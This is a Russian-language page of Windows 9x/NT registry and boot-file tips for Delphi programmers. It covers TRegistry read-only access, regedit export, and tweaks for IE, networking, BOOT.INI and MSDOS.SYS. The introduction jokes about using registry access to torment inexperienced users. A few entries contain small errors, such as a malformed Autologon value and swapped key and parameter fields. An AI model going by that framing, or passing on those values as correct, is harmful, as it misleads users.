ВСЁ! ТЕПЕРЬ МЫ МОЖЕТ СПОКОЙНО ГУЛЯТЬ ПО ВСЕМУ РЕЕСТРУ, И ДЕЛАТЬ ЖИЗНЬ БЕДНОГО ЛАМЕРА
НЕВЫНОСИМОЙ! В этом разделе очень злостные вещи описываться не будут, они найдут себе место а разделах наподобие
"Пакости", а здесь нашей основной задачей является освоение особенностей реестра. И так, поехали дальше...
К заголовку




При использовании компонента TRegistry под WinNT...
ПРИ ИСПОЛЬЗОВАНИИ КОМПОНЕНТА TREGISTRY ПОд WINNT ПОЛЬЗОВАТЕЛЬ С ПРАВОМ ДОСТУПА НИЖЕ ЧЕМ
"АДМИНИСТРАТОР"  НЕ МОЖЕТ ПОЛУЧИТЬ ДОСТУП К ИНФОРМАЦИИ РЕЕСТРА В КЛЮЧЕ HKEY_LOCAL_MACHINE.
КАК ЭТО ОБОЙТИ?

 Проблема вызвана тем, что TRegistry всегда открывает реестр с параметром KEY_ALL_ACCESS (полный доступ), даже если
необходим доступ KEY_READ (только чтение). Избежать этого можно используя вместо TRegistry.OpenKey -
TRegistry.OpenKeyReadOnly

В справке про TRegistry указано неверно, что ключ открывается всегда с параметром KEY_ALL_ACCESS. В случае если открывать
через TRegistry.OpenKeyReadOnly он откроется с параметром KEY_READ.
К заголовку




Экспорт и импорт из реестра
.reg-файлы это, как и ожидалось, формат, понимаемый и поддерживаемый сугубо программой regedit.
Командная строка у неё такая:
Импорт в реестр
regedit RegData.reg
Экспорт из реестра
regedit /e RegData.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Если в параметрах встречаются пробелы, их ессно надо заключать в кавычки. Код
в Delphi, который экспортирует ветвь реестра может быть например такой:


  uses ShellApi, ...
procedure TMain.ExportBtnClick(Sender: TObject)
var
FileName, Key: String
begin
FileName := ... //заполнить именем файла (расширение указывать)
Key := ... //заполнить именем ключа, типа
//Key := 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion'
if ShellExecute(Handle,
'open', 'regedit.exe',
PChar(Format('/e "%s" "%s"', [FileName, Key])),
'', SW_SHOWDEFAULT) <= 32
then //если ошибка, то возвращаемый код <=32
RaiseLastWin32Error()
end
К заголовку




Ключи реестра (Расширения)
=======================
[Расширения - Аппаратные]
=======================

Включение или отключение автозапуска CD-ROM
Подача звукового сигнала динамиком PC при ошибках
Корректировка функции прокрутки IntelliMouse

Включение или отключение автозапуска CD-ROM
Вы можете изменить функцию автозапуска CD-ROM, изменяя этот параметр реестра, данная функция остановит автозапускаемые
программы, когда Вы вставляете диск CD-ROM.


Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
Параметр: Autorun
Тип: REG_DWORD
Значение: (0=отключено, 1=включено)

Подача звукового сигнала динамиком PC при ошибках Если Вас раздражают гудки и шумы, исходящими из Вашего динамика PC, но Вы не можете найти способ выключить его, то используйте этот совет. 1. Найдите ключ указанный ниже, используя Regedit. 2. Найдите параметр 'Beep', если его не существует, то создайте его выбирая, Правка | Создать | Строковый параметр и определите для него имя 'Beep'. 3. Установите значение параметра 'Beep' равным 'Yes' для подачи звукового сигнала, или 'No' для его блокировки. Ключ: [HKEY_CURRENT_USER\Control Panel\Sound] Параметр: Beep Тип: REG_SZ Значение: 'Yes' или 'No'
Корректировка функции прокрутки IntelliMouse Этот параметр определяет число линий, прокручиваемых при каждом вращении колеса мыши Microsoft IntelliMouse! 22, когда клавиши или не нажаты. Если значение этого параметра равно '0', то экран не будет прокручиваться при перемещении колеса мыши. Если значение этого параметра большее чем число линий, видимых в окне, экран будет прокручиваться по целой странице. Чтобы Windows NT интерпретировала все вращения колеса как команду PAGE UP или PAGE DOWN, установите значение этого параметра равным 0xFFFFFFFF. Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop] Параметр: WheelScrollLines Тип: REG_SZ Значение: 0 - 0xFFFFFFFF

=========================== [Расширения - Internet Explorer] =========================== Как восстановить анимированную эмблему Internet Explorer Когда Вы находитесь в Internet, используя Internet Explorer, вращение эмблемы указывает, что он активен. Этот параметр системного реестра определяет эмблему которая будет отображена. Чтобы восстановить поведение анимированной эмблемы Internet Explorer, удалите значения параметров "BrandBitmap" и "SmBrandBitmap", которые находятся в указанном ниже ключе системного реестра. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
Прерывание команд FTP для Internet Explorer Когда Вы вводите команду FTP типа "FTP ftp.regedit.com" то запускается IE 4.0 вместо основной DOS программы FTP. Чтобы отключить такое поведение IE, используйте Regedit, для нахождения ключа указанного ниже, и удалите параметр "ftp". Для возвращения к такому поведению IE, создайте параметр "ftp" типа REG_SZ и установите значение равным "ftp://". Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes]
Добавление фонового изображения для инструментальной панели Internet Explorer Хотите установить свое изображение на инструментальной панели Internet Explorer? Это можно сделать с помощью настройки системного реестра. 1. Откройте Regedit, и найдите ключ указанный ниже. 2. Добавьте новый строковый параметр "BackBitmap", и установить его значение равным пути и имени растрового файла, который желаете использовать (например "C:\WINDOWS\CLOUDS.BMP") 3. Выйдете из Regedit, и перезагрузите Internet Explorer. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar] Параметр: BackBitmap Тип: REG_SZ
Изменение расположения файлов почты и новостей Outlook Express Если Вы установили Windows на отдельном диске, и хотите, чтобы на этот диск не производилась запись ненужных файлов, Вы можете изменить расположение файлов почты и новостей, сохраняемых Outlook Express на другой диск. Установите значение ключа равным новому пути размещения папок Outlook: [HKEY_CURRENT_USER\Software\Microsoft\Outlook Express\Store Root]. Не забудьте переместить папки "Mail" и "News" из старого места в новое. Ключ: [Мой компьютер] Параметр: HKEY_CURRENT_USER\Software\Microsoft\Outlook Express Тип: REG_SZ
Скрытие значка Internet Explorer Этот параметр скрывает значок "Internet Explorer" на Рабочем столе Windows. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoInternetIcon Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Остановка сообщения об ошибках при загрузке Останавливает раздражающие сообщения Windows, уведомляющие Вас, что устройство не функционирует при загрузке Windows NT. Создайте параметр 'NoPopupsOnBoot' типа REG_DWORD в ключе указанном ниже (если он еще не существует). Установите его значение равным '1' для отключения появления всплывающих сообщений. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows] Параметр: NoPopupsOnBoot Тип: REG_DWORD Значение: 1 = отключено
Изменение заголовка окна Internet Explorer Используя этот ключ, Вы можете изменить заданный по умолчанию заголовок окна "Microsoft Internet Explorer", на что ни будь вроде "Окно просмотра Internet Андрея Зенченко". Используя RegEdit, откройте ключ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" создайте в нем новый строковый параметр под названием "Window Title", установите его значение равным строке которую Вы хотели бы видеть в области заголовка. Для сброса к значению по умолчанию, удалите параметр "Window Title". Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main] Параметр: Window Title Тип: REG_SZ

==================== [Расширения - Сетевые] ==================== Недоступный блок "Запомнить пароль" в Удаленном доступе к сети Если у Вас проблемы с DUN при запоминании Вашего пароля, т.е. Вы видете, что опция "Запоминить пароль" отключена, то имеется несколько способов, которые можно использовать для решения этой проблемы. 1. Удостоверьтесь, что на вашей системе установлен "Клиент для сети Microsoft". Панель управления / Сеть / Добавить... / Клиент / Добавить.../ Microsoft / Клиент для сети Microsoft. 2. Вспомните, происходил ли запуск Windows так, чтобы при отображении диалогового окна входа в систему и запросе пароля Вы нажимали клавишу "Esc". 3. У Вас может быть поврежден файл пароля. Произведите поиск файлов *.pwl в каталоге Windows, и переименуйте все найденные файлы. Примечание: это действие заставит Вас создать файлы паролей заново. 4. Проверьте системный реестр: · Запустите Редактор системного реестра (REGEDIT.EXE). · Найдите ключ [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\Real Mode Net]. · если Вы увидите, что значение параметра "Autologon" равно "00 00 00 00" то, дважды щелкните на этом параметре, и измените значение на "01 00 00 00 00". · Выйдете из RegEdit и перезагрузите PC. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\Real Mode Net] Тип: REG_DWORD
Удаление или добавление постоянно подключенных дисков к Вашему списку Windows сохраняет названия предварительно отображенных дисков, это может создать угрозу защиты, если в списке будут перечислены скрытые диски. Суть состоит в том, что этот ключ может использоваться для установки заданных по умолчанию элементов такого списка. Например, для неопытных пользователей, которым требуется, отобразить только общие диски. 1. Откройте системный реестр, и найдите ключ указанный ниже. 2. В этом ключе перечислены все совместные диски, которые Windows сохранила для текущего пользователя, удалите элементы, которые Вы не хотите сохранять. Или добавьте новые, создав новый строковый параметр, и назвав его, буквой, увеличив алфавитное значение уже имеющихся в списке дисков. Приравняйте значение к диску, который Вы желаете совместно использовать. Обратите внимание: Это изменение воздействует только на текущего пользователя, для того, что бы изменить значение по умолчанию для всех пользователей, измените таким же образом ключ [KEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections]. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections]
Отключение совместно используемых файлов и принтеров Опция 'Файлы и принтеры это компьютера можно сделать общими' позволяет предоставлять услуги другим пользователям сети. Эти функциональные возможности могут быть заблокированы, изменением этого параметра. 1. Используя Regedit, найдите ключ указанный ниже, если он не существует, создайте его. 2. Создайте два новых параметра 'NoFileSharing' и 'NoPrintSharing' типа DWORD. 3. Установите значения 'NoFileSharing' и 'NoPrintSharing' равными '1' для блокировки совместного использования, или равными '0' для того, чтобы позволить совместное использование. Оба параметра должны быть вместе заблокированы или допустимы. 4. Выйдите из Regedit и перезагрузитесь. Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Тип: REG_DWORD
Определение привилегированного сервера сети обеспечения Для определение заданного по умолчанию сервера сетевого обеспечения, используйте этот параметр. 1. Используя Regedit, найдите ключ указанный ниже, если его не существует, создайте его. 2. Создайте новый строковый параметр, и назовите его 'AuthenticatingAgent', установите значение параметра равным имени Вашего привилегированного сетевого сервера. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32\NetworkProvider] Параметр: AuthenticatingAgent Тип: REG_SZ
Изменение времени отключения автоматической блокировки LAN Windows NT может быть сконфигурирован так, чтобы автоматически разъединять сеансы LAN при простое, за определенное количество минут. 1. Откройте Ваш системный реестр, и найдите ключ указанный ниже. 2. Установите значение параметра 'Autodisconnect' равным задержке в минутах перед разъединением сеанса. Если этот параметр не существуют, создайте новый строковый параметр под этим именем. 3. Перезагрузите Windows NT. Обратите внимание: Для отключения функции Автоматического разъединения, установите значение равным 'Oxffffffff'. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] Параметр: Autodisconnect Тип: REG_DWORD Значение: от 0 до 4,294,967,295 (Oxffffffff) в минутах
Отключение функции автоматического входа в систему сетевого обеспечения Этот параметр блокирует автоматический вход в систему на сервер сетевого обеспечения. 1. Используя Regedit, откройте ключ указанный ниже, если его не существует, создайте его. 2. Создайте новый параметр 'DisableDefaultPasswords' типа DWORD, и установите его значение равным '1' для блокировки автоматического входа в систему, или равным '0' для использования автоматического входа в систему. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32\NetworkProvider] Параметр: DisableDefaultPasswords Тип: REG_DWORD
Отображение подтверждения при входе в систему домена Когда этот параметр включен, будет отображаться диалоговое окно об успешной проверке, при входе на домен Windows NT. Ключ: [HKEY_LOCAL_MACHINE\Network\Logon] Параметр: DomainLogonMessage Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Требование проверки для доступа в сеть Windows По умолчанию Windows не требует проверки сетевого имени пользователя и его пароля, для использования локальной машины Windows. Эти функциональные возможности могут быть изменены. Ключ: [HKEY_LOCAL_MACHINE\Network\Logon] Параметр: MustBeValidated Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Отключение доступа к вызову по телефону Такая возможность существует у пользователей с установленным модемом на Windows машине, и использующими Удаленный доступ к сети, позволяющий вызывающим соединяться с внутренней сетью. В групповой среде это может причинять ущерб защите. Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: NoDialIn Тип: REG_DWORD Значение: (0 = допустить удаленный доступ, 1 = заблокировать удаленный доступ)
Отключение кэширования пароля домена Включение этого параметра, отключает кэширование пароля NT домена, и поэтому, чтобы обратиться к дополнительным ресурсам домена будет необходимо заново вводить пароль. Ключ: [HKEY_LOCAL_MACHINE\Network\Logon] Параметр: NoDomainPwdCaching Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Автоматический поиск медленных сетевых подключений По умолчанию, Windows NT будет пытаться обнаружить задержку времени на сетевых связях, чтобы определить их быстродействие. Эти функциональные возможности могут быть заблокированы, если Windows NT имеет проблемы, при определении быстродействия вашего подключения. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: SlowLinkDetectEnabled Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Определение скорости подключения Windows NT использует этот параметр, чтобы определить, что является низкоскоростным подключением, а что является высокоскоростным подключением. Заданная по умолчанию задержка времени - 2000 миллисекунд , любое подключение, которое будет медленнее этой установки, рассматривается как низкоскоростное подключение. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: SlowLinkTimeOut Тип: REG_DWORD Значение: Время (миллисекунды)
Поддержка длинных имен файлов на серверах сетевого обеспечения Этот параметр управляет поддержкой длинных имен файлов (LFN) на серверах сетевого обеспечения, и если поддержка существует, то он так же определяет версию сервера. 1. Используя Regedit, откройте ключ указанный ниже, если его не существует, создайте его. 2. Создайте новый параметр типа DWORD, и назовите его 'SupportLFN'. 3. Установите значение параметра 'SupportLFN' равным '0', '1' или '2' в зависимости от таблицы указанной ниже: Описание Значения ----- ----------- 0 LFN Заблокирована 1 LFN Допускается на серверах версии 3.12 и выше 2 LFN Допускается на всех серверах, которые поддерживают LFN 4. Выйдите из Regedit и перезагрузитесь. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\NWREDIR] Параметр: SupportLFN Тип: REG_DWORD
Отключение определяющих SAP для сетей NetWare По умолчанию Windows посылает пакеты SAP, чтобы определить доступные совместные файлы и принтеры, когда опция 'Файлы и принтеры это компьютера можно сделать общими' включена. Этот параметр отключает пересылку данных пакетов. В дополнение к изменению значения параметра 'Use_Sap' Вам также может потребоваться создать другой ключ и значение: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap] @="0" Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NcpServer\Parameters] Параметр: Use_Sap Тип: REG_SZ Значение: (0 = отключено, 1 = включено)

==================== [Расширения - Windows] ==================== Упрощение использования Блокнота для открытия файла Включение этого параметра позволит Вам использовать Блокнот для открытия файла, нажатием правой кнопки мыши на нем. Также Блокнот будет использоваться по умолчанию для открытия файла, если никакой ассоциации к нему не существует. 1. Найдите ключ "HKEY_CLASSES_ROOT\*\shell", если он не существует, создайте его. 2. Под ключом shell создайте новый ключ, по имени open, и установите значение параметра "(По умолчанию)", равным строке "Открыть в Блокноте". 3. Под ключом open создайте новый ключ по имени command, и установите значение параметра "(По умолчанию)" равным строке "notepad.exe %1". Теперь, когда Вы щелкните правой кнопкой мыши на файле, в контекстном меню одним из пунктов будет "Открыть в Блокноте". Ключ: [HKEY_CLASSES_ROOT\*\shell]
Добавление пункта меню "Проводник" к каждой папке Этот параметр включит в контекстное меню пункт "Проводник", при щелчке правой кнопки мыши на любой папке. При его использовании откроется окно Проводника с этой папкой. 1. Найдите ключ [HKEY_CLASSES_ROOT\*\shell\rootexplore], если он не существует, создайте его. 2. Установите параметр "(По умолчанию)" равным строке "&Проводник ". 3. Под ключом rootexplore создайте новый ключ по имени command, и установите значение параметра "(По умолчанию)" равным строке "explorer.exe /e,/root,/idlist, %i". Ключ: [HKEY_CLASSES_ROOT\*\shell\rootexplore]
Управление просмотром сети Выбор окна просмотра гарантирует, что в домене / рабочей группе имеется не более чем одно главное окно просмотра. Определение PC, который должен является основным окном просмотра домена, устанавливается с помощью параметра "IsDomainMaster", он может принимать значения "Yes" или "False". Чтобы предотвратить использование Рабочей станции NT или сервера (не - PDC), как окна просмотра, установите параметр "MaintainServerList" равным "No", а другие параметры равными "Yes", "No" или "Auto". Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters] Тип: REG_SZ
Создание псевдонимов для программ в Windows В системном реестре Windows есть скрытая особенность, которая позволяет Вам создавать псевдонимы для программ. Например, псевдоним под называнием JBLOGGS.EXE фактически запускает другую программу, например NOTEPAD.EXE. 1. Используя Regedit, откройте ключ указанный ниже. В этом ключе должны быть ряд подключей. 2. Создайте новый подключ, и назовите его именем псевдонима, который Вы желаете создать (например, JBLOGGS.EXE). 3. Установите значение параметра "(По умолчанию)" равным полному пути и имени файла программы, которую Вы хотите открывать, когда запускается псевдоним (например, 'c:\windows\notepad.exe'). 4. Выйдете из Regedit, и проверьте действие выполненных изменений, используя Пуск | Выполнить.… Напечатайте имя Вашего псевдонима (то есть JBLOGGS.EXE), должна запустится установленная для псевдонима программа, в нашем случае Блокнот. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths] Параметр: (По умолчанию) Тип: REG_SZ Значение: Полное имя файла (например, c:\windows\notepad.exe)
К заголовку




Ключи реестра (Файлы)
=================
[Файлы - BOOT INI]
=================

Загрузка Windows NT в Безопасном режиме (Windows NT)
Windows NT может быть очень капризна, при добавлении нового программного обеспечения или устанавливке нового драйвера.
Этот параметр позволит Вам создать в Windows NT альтернативу Безопасного режима Windows 9x. В этом режиме выполняются
дополнительные проверки и загружаются не все драйверы.

1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).

2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. Создайте новую запись для Безопасного
режима, скопировав одну из существующих записей, и вставив ее в новую строку.

3. В конце новой записи добавьте '/sos' (без кавычек), измените описание записи так, чтобы было понятно, что это Безопасный режим.
В конец строки добавьте '/basevideo' для того чтобы Windows запускалась с заданным по умолчанию драйвером VGA.

Новая запись должна выглядеть приблизительно так:
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [Safe Mode]" /sos /basevideo

4. Изменения вступят в силу при следующей перезагрузке.

Ключ: [BOOT.INI]

Отключение обнаружения устройств на Последовательных портах (Windows NT) Windows NT пытается исследовать последовательные порты при начальной загрузке, чтобы обнаружить мышь. Это может создать проблемы при использовании других последовательных устройств типа UPS. 1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. 2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. 3. В конце каждой записи добавьте '/NoSerialMice' (без кавычек). Новая запись должна выглядеть приблизительно так: multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00" /NoSerialMice 4. Изменения вступят в силу при следующей перезагрузке. Ключ: [BOOT.INI]
Включение настройки 4GT RAM NT Enterprise Edition (Windows NT) На стандартном сервере Windows NT, пределом адресации "в процесс" является 2 гигабайта оперативной памяти. Свойство 4GT в Windows NT Server/E увеличивает этот предел до 3 гигабайт, не предоставляя новые команды API. 4GT делает это, сокращая потенциальную RAM, распределенную в ядре Windows NT от 2 гигабайт до 1 гигабайта. 1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. 3. В конце каждой записи добавьте '/3GB' (без кавычек). Новая запись должна выглядеть приблизительно так: multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00" /3GB 4. Изменения вступят в силу при следующей перезагрузке. Обратите внимание: Это изменение будет эффективно только, если Вы используете Windows NT Server/E. На стандартной Windows NT, этот параметр переместит ядро, но прикладные программы все равно будут неспособны обращаться больее чем к 2 гигабайтам. Ключ: [BOOT.INI]
Загрузка Windows NT с заданным по умолчанию видео драйвером VGA (Windows NT) Здесь объясняется, как создать опцию запуска безопасного режима видео VGA, особенно полезную, если Ваш видео адаптер или драйвер создают проблемы. 1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. Создайте новую запись для безопасного режима VGA, скопировав одну из существующих записей, и вставив ее в новую строку. 3. В конце новой записи добавьте '/basevideo' (без кавычек), и измените описание записи так, чтобы было понятно, что это режим VGA. Новая запись должна выглядеть приблизительно так: multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo 4. Изменения вступят в силу при следующей перезагрузке. Ключ: [BOOT.INI] Параметр: [operating systems]
Изменение заданной по умолчанию Операционной системы (Windows NT) Этот параметр определяет, какую операционную систему запускать по умолчанию, при начальной загрузке NT. 1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение 'default=' на операционную систему, находящуюся в списке раздела [operating systems] файла BOOT.INI Например, чтобы загрузить Windows NT с основного раздела на первом жестком диске IDE из каталога /WINNT, запись должна выглядеть таким образом: "default=multi(0)disk( 0)rdisk(0)partition(1)\WINNT" 3. Изменения вступят в силу при следующей перезагрузке. Ключ: [BOOT.INI] Параметр: default
Изменение значения по умолчанию времени ожидания выбора OS (Windows NT) Эта установка управляет временем, в течении которого Windows NT, будет ожидать выбора установленной по умолчанию OS, перед загрузкой, которая определена в параметре "default =". 1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Изменить значение параметра "timeout" (по умолчанию равное '30'), на количество секунд времени ожидания. То есть, если Вы хотите, что бы время ожидания было 5 секунд, измените значение так: 'timeout=5'. 3. Изменения вступят в силу при следующей перезагрузке. Подсказка: Что бы Windows NT не загружалась, пока выбор не определен, измените Этот параметр так: 'timeout=-1'. Ключ: [BOOT.INI] Параметр: timeout

================== [Файлы - MSDOS SYS] ================== Включение/Отключение функциональных клавиш при начальной загрузке (Windows 9x) По умолчанию Windows 9x разрешает использование функциональных клавиш при начальной загрузке, они позволяют управлять процессом начальной загрузки. Например, нажатие F5 при отображении сообщения "Starting Windows 95 ...", загрузит Windows в Безопасном режиме. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'BootKeys=' на 'BootKeys=1', для использования клавиш или на 'BootKeys=0', для блокировки клавиш. 3. Изменения вступят в силу при следующей перезагрузке. Ключ: [MSDOS.SYS] Значение: BootKeys=1 (по умолчанию)
Загрузка предыдущей Операционной системы (Windows 9x) Если Вы обновили версию операционной системы, то можете нажимая F4, загрузить предыдущую версию операционной системы. Эта функция может быть заблокирована. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'BootMulti=' на 'BootMulti=1', для использования клавиши F4 или на 'BootMulti=0', для ее блокировки. 3. Изменения вступят в силу при следующей перезагрузке. Ключ: [MSDOS.SYS] Значение: BootMulti=1 (по умолчанию)
Запуск Scandisk при начальной загрузке (Windows 9x) Если выход из Windows 9x был произведен неправильно, или компьютер был отключен не используя диалоговое окно "Завершение работы", то система будет пытаться запустить Scandisk при следующей загрузке. Вы можете определить, запускать или нет автоматически Scandisk. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'AutoScan=': · AutoScan=0: Scandisk заблокирован · AutoScan=1: запуск Scandisk после запроса · AutoScan=2: Scandisk запускается автоматически 3. Изменения вступят в силу при следующей перезагрузке. Обратите внимание: Scandisk желательно всегда запускать после неправильного выхода из системы, чтобы избежать порчи файлов. Ключ: [MSDOS.SYS] Значение: AutoScan=1 (по умолчанию)
Отображение меню начальной загрузки Windows (Windows 9x) По умолчанию Windows 9x не показывает меню начальной загрузки, если Вы не нажимаете клавишу F8. Меню начальной загрузки позволит Вам загружать Windows в различных режимах, включая "Безопасный Режим" и "Режим командной строки". Вы можете конфигурировать параметры начальной загрузки, которое будет показано автоматически при каждой начальной загрузке. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'BootMenu=' на 'BootMenu=1' для отображения меню или на 'BootMenu=0' для его блокировки. 3. Если этот параметр включен, Вы можете управлять временем ожидания, перед продолжением загрузки используя параметр 'BootMenuDelay=', установив параметр 'BootMenuDelay=' равным времени ожидания в секундах. Например, при значении 'BootMenuDelay=5' система будет ждать дальнейших команд в течении 5 секунд, прежде чем продолжить загрузку Windows. 4. Изменения вступят в силу при следующей перезагрузке. Обратите внимание: Что бы эта возможность была функциональной необходимо также включить параметр "BootKeys", то есть 'BootKeys=1' Значение: BootMenu=0 (по умолчанию)
Изменение раздела [Paths] файла MSDOS.SYS (Windows 9x) Раздел [Paths] содержит записи о местах расположения других файлов Windows 95 (типа системного реестра). Он может быть изменен, если такие файлы были перемещены. Раздел [Paths] может содержать следующие параметры: HostWinBootDrv=<Корневой диск начальной загрузки> По умолчанию: C Цель: Определяет корневой диск для начальной загрузки. UninstallDir=<Корневой диск начальной загрузки> По умолчанию: C Цель: Определяет расположение файлов W95undo.dat и W95undo.ini. Эти файлы необходимы для деинсталляции Windows 95. ОБРАТИТЕ ВНИМАНИЕ: Этот параметр присутствует только тогда, когда Вы сохранили при запросе Ваши системные файлы, в течение установки Windows 95. WinBootDir=<Каталог Windows> По умолчанию: Каталог, указанный во время установки (например, C:\WINDOWS) Цель: Определяет расположение необходимых файлов для загрузки. WinDir =<Каталог Windows> По умолчанию: Каталог, указанный во время установки (например, C:\WINDOWS) Цель: Определяет расположение каталога Windows.
Изменение времени доступа к функциональным клавишам (Windows 9x) По умолчанию Windows 9x позволяет использовать функциональные клавиши при начальной загрузке в течение 2 секунд, эти клавиши дают возможность управлять процессом начальной загрузки. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'BootDelay=' на значение равное числу секунд, во время которых клавиши будут доступны. Например, для того чтобы позволить использовать клавиши в течение 5 секунд, установите значение 'BootDelay=5' 3. Изменения вступят в силу при следующей перезагрузке. Ключ: [MSDOS.SYS] Значение: BootDelay=2 (по умолчанию)
Управление автоматической загрузкой GUI Windows 9x (Windows 9x) По умолчанию Windows 9x автоматически загружает GUI (или Рабочий стол Windows), с помощью этого параметра Вы можете определить, загружать GUI или отображать только командную строку MS-DOS 7.0. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'BootGUI=' на 'BootGUI=1', для загрузки GUI или на 'BootGUI=0', для блокировки GUI. 3. Изменения вступят в силу при следующей перезагрузке. Ключ: [MSDOS.SYS] Значение: BootGUI=1 (по умолчанию)
Отображение экранной заставки Windows при загрузке (Windows 9x) Когда Windows загружается, то Вы обычно видите заставку с облаками, эта заставка может быть отключена, и Вы увидите фоновый процесс начальной загрузки DOS. 1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого текстового процессора). 2. Измените значение параметра 'Logo=' на 'Logo=1', для отображения экранной заставки или на 'Logo=0', для ее блокировки. 3. Изменения вступят в силу при следующей перезагрузке. Подсказка: Нажатие клавиши , во время отображения экранной заставки, произведет тот же эффект для текущего сеанса. Ключ: [MSDOS.SYS] Значение: Logo=1 (по умолчанию)
